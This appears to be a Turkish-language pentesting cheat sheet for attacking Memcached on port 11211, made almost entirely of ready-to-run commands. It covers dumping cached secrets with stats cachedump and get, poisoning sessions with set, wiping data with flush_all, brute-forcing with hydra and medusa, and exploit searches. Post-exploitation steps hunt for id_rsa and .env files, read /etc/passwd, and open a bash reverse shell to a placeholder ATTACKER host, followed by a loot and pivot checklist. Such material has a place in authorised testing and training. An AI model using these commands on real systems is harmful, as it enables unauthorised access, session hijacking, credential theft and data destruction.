Skip to content

11211 - Pentesting Memcache

Memcached cache

Memcached çoğu kurulumda auth’suz dinler. stats/cachedump anahtarları açar; get secret, set oturum zehirler. Hedef lab IP’si üzerinde komutları 11211 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 11211 TCP doğrula.

  2. stats ve items ile slab keşfet.

  3. cachedump + get ile değer oku.

  4. set ile session/token zehirle.

Terminal window
nmap -Pn -sV -p11211 TARGET
Terminal window
nmap -p11211 --script memcached-info TARGET
Terminal window
echo stats | nc TARGET 11211
Terminal window
echo -e 'stats items\nquit' | nc TARGET 11211
Terminal window
echo -e 'stats cachedump 1 100\nquit' | nc TARGET 11211
Terminal window
echo -e 'get KEY\nquit' | nc TARGET 11211
Terminal window
printf 'set sess:1 0 0 5\r\nadmin\r\n' | nc TARGET 11211
Terminal window
echo -e 'delete KEY\nquit' | nc TARGET 11211
Terminal window
echo -e 'flush_all\nquit' | nc TARGET 11211
Terminal window
memcdump --servers=TARGET | head
PHPSESSID / JWT / DB URI anahtarları
Terminal window
grep -aE 'password|secret|BEGIN' dump.bin | head

Memcache için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p11211 TARGET
Terminal window
nmap -Pn -p11211 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:11211' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',11211));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → Memcache
Terminal window
hydra -L users.txt -P rockyou.txt -s 11211 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 11211
Terminal window
nmap -p11211 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit Memcached
Terminal window
msfconsole -q -x 'search Memcached; exit'
Terminal window
nuclei -u https://TARGET:11211 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:11211 -tags tech -silent || true
Terminal window
nc -nv TARGET 11211
Terminal window
printf '
' | timeout 3 nc -nv TARGET 11211
Terminal window
curl -vk --http1.0 http://TARGET:11211/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
stats → cachedump → get secrets → set session → app admin